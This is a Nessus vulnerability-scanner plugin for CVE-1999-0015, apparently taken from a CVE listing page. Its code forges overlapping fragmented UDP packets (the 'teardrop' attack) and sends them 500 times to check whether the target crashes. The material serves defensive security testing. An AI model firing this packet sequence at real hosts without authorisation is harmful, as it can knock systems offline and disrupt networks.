Vulnerabilities > CVE-1999-0015

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10279);
 script_version("1.36");
 script_cvs_date("Date: 2019/03/06 18:38:55");

 script_cve_id("CVE-1999-0015");
 script_bugtraq_id(124);

 script_name(english:"TCP/IP IP Fragment Re-Assembly Remote DoS (teardrop)");
 script_summary(english:"Crashes the remote host using the 'teardrop' attack");

 script_set_attribute(attribute:"synopsis", value:"The remote system is affected by a denial of service vulnerability.");
 script_set_attribute(attribute:"description", value:
"It was possible to make the remote server crash using the 'teardrop'
attack.

An attacker may use this flaw to shut down this server, thus
preventing your network from working properly.");
 script_set_attribute(attribute:"solution", value:"contact your operating system vendor for a patch.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"1997/11/13");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_KILL_HOST);
 script_copyright(english:"This script is Copyright (C) 1999-2019 Tenable Network Security, Inc.");
 script_family(english:"Denial of Service");

 script_require_keys("Settings/ParanoidReport");

 exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);
if ( TARGET_IS_IPV6 ) exit(0);


# Our constants
MAGIC = 2;
IPH   = 20;
UDPH  = 8;
PADDING = 0x1c;
MAGIC = 0x3;
IP_ID = 242;
sport = 123;
dport = 137;

LEN = IPH + UDPH + PADDING;

src = compat::this_host();
ip = forge_ip_packet(ip_v : 4,
		     ip_hl : 5,
		     ip_tos : 0,
		     ip_id  : IP_ID,
		     ip_len : LEN,
		     ip_off : IP_MF,
		     ip_p   : IPPROTO_UDP,
		     ip_src : src,
		     ip_ttl : 0x40);

# Forge the first UDP packet

LEN = UDPH + PADDING;
udp1 = forge_udp_packet(ip : ip,
			uh_sport : sport, uh_dport : dport,
			uh_ulen : LEN);

# Change some tweaks in the IP packet

LEN = IPH + MAGIC + 1;
ip = set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);

# and forge the second UDP packet
LEN = UDPH + PADDING;
udp2 = 	forge_udp_packet(ip : ip,
			uh_sport : sport, uh_dport : dport,
			uh_ulen : LEN);


# Send our UDP packets 500 times

start_denial();
send_packet(udp1,udp2, pcap_active:FALSE) x 500;
sleep(10);
alive = end_denial();

if(!alive){
                set_kb_item(name:"Host/dead", value:TRUE);
                security_hole(port:dport, proto:"udp");
                }